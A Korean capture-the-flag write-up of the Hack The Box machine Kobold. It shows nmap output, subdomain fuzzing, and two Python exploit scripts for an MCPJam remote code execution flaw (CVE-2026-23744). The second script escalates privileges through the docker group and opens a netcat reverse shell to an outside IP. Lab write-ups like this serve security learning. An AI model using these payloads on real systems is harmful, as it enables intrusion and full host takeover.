Home HTB - Kobold Write-up
Post
Cancel

HTB - Kobold Write-up

HTB - Kobold 문제 풀이 입니다.

Port Scanning

PortScanning 시 포트가 22, 80, 443, 3352 포트가 열려 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 8c:45:12:36:03:61:de:0f:0b:2b:c3:9b:2a:92:59:a1 (ECDSA)
|_  256 d2:3c:bf:ed:55:4a:52:13:b5:34:d2:fb:8f:e4:93:bd (ED25519)
80/tcp  open  http     nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://kobold.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
443/tcp open  ssl/http nginx 1.24.0 (Ubuntu)
| tls-alpn:
|   http/1.1
|   http/1.0
|_  http/0.9
| ssl-cert: Subject: commonName=kobold.htb
| Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb
| Not valid before: 2026-03-15T15:08:55
|_Not valid after:  2125-02-19T15:08:55
|_http-title: Did not follow redirect to https://kobold.htb/
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.24.0 (Ubuntu)
3552/tcp open  taserver?
| fingerprint-strings:
|   GenericLines:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest, HTTPOptions:
|     HTTP/1.0 200 OK
|     Accept-Ranges: bytes
|     Cache-Control: no-cache, no-store, must-revalidate
|     Content-Length: 2081
|     Content-Type: text/html; charset=utf-8
|     Expires: 0
|     Pragma: no-cache
|     Date: Sun, 05 Apr 2026 11:40:19 GMT
|     <!doctype html>
|     <html lang="%lang%">
|     <head>
|     <meta charset="utf-8" />
|     <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
|     <meta http-equiv="Pragma" content="no-cache" />
|     <meta http-equiv="Expires" content="0" />
|     <link rel="icon" href="/api/app-images/favicon" />
|     <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, viewport-fit=cover" />
|     <link rel="manifest" href="/app.webmanifest" />
|     <meta name="theme-color" content="oklch(1 0 0)" media="(prefers-color-scheme: light)" />
|     <meta name="theme-color" content="oklch(0.141 0.005 285.823)" media="(prefers-color-scheme: dark)" />
|_    <link rel="modu
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3552-TCP:V=7.94SVN%I=7%D=4/5%Time=69D24A2F%P=x86_64-pc-linux-gnu%r(
SF:GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x2
SF:0text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad
SF:\x20Request")%r(GetRequest,8FF,"HTTP/1\.0\x20200\x20OK\r\nAccept-Ranges
SF::\x20bytes\r\nCache-Control:\x20no-cache,\x20no-store,\x20must-revalida
SF:te\r\nContent-Length:\x202081\r\nContent-Type:\x20text/html;\x20charset
SF:=utf-8\r\nExpires:\x200\r\nPragma:\x20no-cache\r\nDate:\x20Sun,\x2005\x
SF:20Apr\x202026\x2011:40:19\x20GMT\r\n\r\n<!doctype\x20html>\n<html\x20la
SF:ng=\"%lang%\">\n\t<head>\n\t\t<meta\x20charset=\"utf-8\"\x20/>\n\t\t<me
SF:ta\x20http-equiv=\"Cache-Control\"\x20content=\"no-cache,\x20no-store,\
SF:x20must-revalidate\"\x20/>\n\t\t<meta\x20http-equiv=\"Pragma\"\x20conte
SF:nt=\"no-cache\"\x20/>\n\t\t<meta\x20http-equiv=\"Expires\"\x20content=\
SF:"0\"\x20/>\n\t\t<link\x20rel=\"icon\"\x20href=\"/api/app-images/favicon
SF:\"\x20/>\n\t\t<meta\x20name=\"viewport\"\x20content=\"width=device-widt
SF:h,\x20initial-scale=1,\x20maximum-scale=1,\x20viewport-fit=cover\"\x20/
SF:>\n\t\t<link\x20rel=\"manifest\"\x20href=\"/app\.webmanifest\"\x20/>\n\
SF:t\t<meta\x20name=\"theme-color\"\x20content=\"oklch\(1\x200\x200\)\"\x2
SF:0media=\"\(prefers-color-scheme:\x20light\)\"\x20/>\n\t\t<meta\x20name=
SF:\"theme-color\"\x20content=\"oklch\(0\.141\x200\.005\x20285\.823\)\"\x2
SF:0media=\"\(prefers-color-scheme:\x20dark\)\"\x20/>\n\t\t\n\t\t<link\x20
SF:rel=\"modu")%r(HTTPOptions,8FF,"HTTP/1\.0\x20200\x20OK\r\nAccept-Ranges
SF::\x20bytes\r\nCache-Control:\x20no-cache,\x20no-store,\x20must-revalida
SF:te\r\nContent-Length:\x202081\r\nContent-Type:\x20text/html;\x20charset
SF:=utf-8\r\nExpires:\x200\r\nPragma:\x20no-cache\r\nDate:\x20Sun,\x2005\x
SF:20Apr\x202026\x2011:40:19\x20GMT\r\n\r\n<!doctype\x20html>\n<html\x20la
SF:ng=\"%lang%\">\n\t<head>\n\t\t<meta\x20charset=\"utf-8\"\x20/>\n\t\t<me
SF:ta\x20http-equiv=\"Cache-Control\"\x20content=\"no-cache,\x20no-store,\
SF:x20must-revalidate\"\x20/>\n\t\t<meta\x20http-equiv=\"Pragma\"\x20conte
SF:nt=\"no-cache\"\x20/>\n\t\t<meta\x20http-equiv=\"Expires\"\x20content=\
SF:"0\"\x20/>\n\t\t<link\x20rel=\"icon\"\x20href=\"/api/app-images/favicon
SF:\"\x20/>\n\t\t<meta\x20name=\"viewport\"\x20content=\"width=device-widt
SF:h,\x20initial-scale=1,\x20maximum-scale=1,\x20viewport-fit=cover\"\x20/
SF:>\n\t\t<link\x20rel=\"manifest\"\x20href=\"/app\.webmanifest\"\x20/>\n\
SF:t\t<meta\x20name=\"theme-color\"\x20content=\"oklch\(1\x200\x200\)\"\x2
SF:0media=\"\(prefers-color-scheme:\x20light\)\"\x20/>\n\t\t<meta\x20name=
SF:\"theme-color\"\x20content=\"oklch\(0\.141\x200\.005\x20285\.823\)\"\x2
SF:0media=\"\(prefers-color-scheme:\x20dark\)\"\x20/>\n\t\t\n\t\t<link\x20
SF:rel=\"modu");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Informaion Gathering

  • https(80,443): 랜딩페이지 존재하고, 해당 페이지에서는 정보를 얻을 수 없었습니다.

443port

  • 3552: Arcane 웹페이지가 존재하고, 해당 서비스는 Docker 컨테이너, 이미지, 네트워크 및 볼륨 관리를 위한 인터페이스입니다
    • Arcane v1.13.0 에 CVE-2026-23944 가 존재하지만, 익스는 안됬습니다….

3552port

Virtual Host Scan

nginx의 Name-Based Virtual Host경우 Host 헤더 기반에 따라 라우팅이 달라질 수 있기 때문에 FFUF 를 이용해 스캔을 수행했고, mcp, bin 이라는 서브도메인을 찾았습니다.

CVE-2026-23744

mcp.kobold.htb 접속 시 MCPJam을 확인할 수 있습니다.

해당 서비스는 MCP 클라이언트에서 서버와 앱이 어떻게 동작하는지 검사, 테스트를 해주는 서비스입니다.

mcpsubdomain

v1.4.2 버전을 사용하고 있고, 해당 버전은 CVE-2026-23744로 RCE가 되기에 서버에 리버스 쉘 연결이 가능합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import sys
import os

URL = "https://kobold.htb"
headers = {"Host":"mcp.kobold.htb"}
proxies = {"http":"127.0.0.1:8080", "https":"127.0.0.1:8080"}

def exploit(command):
    print("[*] Send Exploit Payload")
    exploit_path = "/api/mcp/connect"

    cmd = "sh"
    args = ["-c", command]

    payload = {
            "serverConfig": {
                "command": cmd,
                "args" : args,
                "env" : {
                    "DISPLAY": os.environ.get("DISPLAY", ":0")
                }
            },
            "serverId": "RCE"
    }


    res = requests.post(f"{URL}{exploit_path}", json=payload, headers=headers, proxies=proxies, verify=False)


if __name__ == "__main__":
    command = sys.argv[1]
    exploit(command)

LPE (Docker Group)

bin 페이지 접속 시 PrivateBin v2.0.2 버전을 사용하고 있는데, 해당 서비스로는 LPE에 실패 했습니다..

결국 Write-UP을 보았고, 도커 그룹 권한이 허용되어 있을때 해당 권한으로 컨테이너를 만들고, 볼륨으로 로컬 파일시스템과 마운트 할 수 있는 것을 확인했습니다.

1
2
3
4
5
6
7
8
9
10
11
ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$ id
id
uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)
ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$ groups
groups
ben operator
ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$ sg docker -c "docker images"
<les/@mcpjam/inspector$ sg docker -c "docker images"
REPOSITORY                    TAG       IMAGE ID       CREATED        SIZE
mysql                         latest    f66b7a288113   8 weeks ago    922MB
privatebin/nginx-fpm-alpine   2.0.2     f5f5564e6731   5 months ago   122MB

다시 RCE 페이로드를 이용하여 도커 컨테이너를 실행될떄 Root.txt를 읽는 방식을 사용하여 플래그를 얻었습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import sys
import os

URL = "https://kobold.htb"
headers = {"Host":"mcp.kobold.htb"}
#proxies = {"http":"127.0.0.1:8080", "https":"127.0.0.1:8080"}

def exploit(command):
    print("[*] Send Exploit Payload")
    exploit_path = "/api/mcp/connect"

    cmd = "sg"
    args = [
    "docker",
    "-c",
    "sh -c 'docker run --rm -u 0 -v /:/hostfs --entrypoint sh privatebin/nginx-fpm-alpine:2.0.2 -c \"mkfifo /tmp/p; /bin/sh -i </tmp/p 2>&1 | nc 10.10.15.85 4444 >/tmp/p\"'"
]
    payload = {
            "serverConfig": {
                "command": cmd,
                "args" : args,
                "env" : {
                    "DISPLAY": os.environ.get("DISPLAY", ":0")
                }
            },
            "serverId": "RCE"
    }


    res = requests.post(f"{URL}{exploit_path}", json=payload, headers=headers,verify=False)#, proxies=proxies, verify=False)


if __name__ == "__main__":
    command = sys.argv[1]
    exploit(command)

Conclusion

오랜만에 HTB를 풀었는데 LPE 기법이 처음봤는데 생각보다 오래된 공격 기법이였습니다. 참 공격은 방법은 너무 다양하네여

특히 Nginx의 경우 Virtual Host 구조를 사용하는 경우가 많기 떄문에 항상 설정 파일을 유심히 봐야할 꺼 같습니다.

항상 HTB 풀떄 Gobuster, Dirb 도구를 많이 이용했는데, 이번에 FFUF를 쓰면서 이것도 좋은 도구인거 같습니다.